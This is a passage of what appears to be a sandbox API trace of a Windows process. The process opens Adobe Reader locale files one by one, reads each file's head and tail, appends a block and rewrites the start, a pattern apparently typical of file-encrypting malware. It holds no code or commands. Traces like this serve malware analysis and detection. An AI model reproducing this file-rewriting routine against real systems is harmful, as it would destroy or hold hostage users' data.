lpUsedDefaultChar=0x0) returned 9 [0039.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.KOR", lpUsedDefaultChar=0x0) returned 9 [0039.011] ReadFile (in: hFile=0x1ac, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.023] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1400 [0039.023] ReadFile (in: hFile=0x1ac, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.023] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1400 [0039.023] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.024] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.024] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.024] CloseHandle (hObject=0x1ac) returned 1 [0039.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Spelling.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\spelling.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.024] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.024] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2200 [0039.024] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.024] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.024] ReleaseMutex (hMutex=0x128) returned 1 [0039.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.024] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.KOR", lpUsedDefaultChar=0x0) returned 12 [0039.024] ReadFile (in: hFile=0x1ac, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.040] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1200 [0039.040] ReadFile (in: hFile=0x1ac, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.040] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1200 [0039.040] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.041] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.041] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.041] CloseHandle (hObject=0x1ac) returned 1 [0039.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DVA.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\dva.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.041] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.041] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4600 [0039.041] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.041] ReleaseMutex (hMutex=0x128) returned 1 [0039.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NOR", cchWideChar=7, lpMultiByteStr=0x1e6aa14, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NOR", lpUsedDefaultChar=0x0) returned 7 [0039.041] ReadFile (in: hFile=0x1ac, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.052] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3600 [0039.053] ReadFile (in: hFile=0x1ac, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.053] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3600 [0039.053] WriteFile (in: hFile=0x1ac, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.053] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.053] WriteFile (in: hFile=0x1ac, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.053] CloseHandle (hObject=0x1ac) returned 1 [0039.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\reflow.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\reflow.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.054] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.054] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1200 [0039.054] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.054] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.054] ReleaseMutex (hMutex=0x128) returned 1 [0039.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x1e6326c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NOR", lpUsedDefaultChar=0x0) returned 10 [0039.054] ReadFile (in: hFile=0x1ac, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2c0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0039.063] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0039.063] WriteFile (in: hFile=0x1ac, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0039.063] CloseHandle (hObject=0x1ac) returned 1 [0039.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Acroform.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\acroform.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.064] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.064] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x69400 [0039.064] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.064] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.064] ReleaseMutex (hMutex=0x128) returned 1 [0039.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NLD", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NLD", lpUsedDefaultChar=0x0) returned 12 [0039.064] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.071] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x68400 [0039.072] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.079] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x68400 [0039.079] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.079] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.079] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.079] CloseHandle (hObject=0x1ac) returned 1 [0039.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\makeaccessible.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\makeaccessible.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.082] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.082] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x13600 [0039.082] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.082] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.082] ReleaseMutex (hMutex=0x128) returned 1 [0039.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0039.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x1e78b04, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NLD", lpUsedDefaultChar=0x0) returned 18 [0039.083] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.095] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x12600 [0039.095] ReadFile (in: hFile=0x1ac, lpBuffer=0x25136a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25136a8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.112] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x12600 [0039.112] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.112] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.112] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.112] CloseHandle (hObject=0x1ac) returned 1 [0039.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.113] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.113] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x924e [0039.113] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.113] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.113] ReleaseMutex (hMutex=0x128) returned 1 [0039.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.113] ReadFile (in: hFile=0x1ac, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.123] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x824e [0039.124] ReadFile (in: hFile=0x1ac, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.124] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x824e [0039.124] WriteFile (in: hFile=0x1ac, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.124] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.124] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.124] CloseHandle (hObject=0x1ac) returned 1 [0039.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Checkers.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\checkers.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.124] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.125] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1e800 [0039.125] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.125] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.125] ReleaseMutex (hMutex=0x128) returned 1 [0039.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.POL", lpUsedDefaultChar=0x0) returned 12 [0039.125] ReadFile (in: hFile=0x1ac, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.146] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1d800 [0039.146] ReadFile (in: hFile=0x1ac, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.378] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1d800 [0039.378] WriteFile (in: hFile=0x1ac, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.378] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.378] WriteFile (in: hFile=0x1ac, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.378] CloseHandle (hObject=0x1ac) returned 1 [0039.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\RdLang32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\rdlang32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.379] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.379] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x14d600 [0039.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.380] WaitForSingleObject (hHandle=0x128, 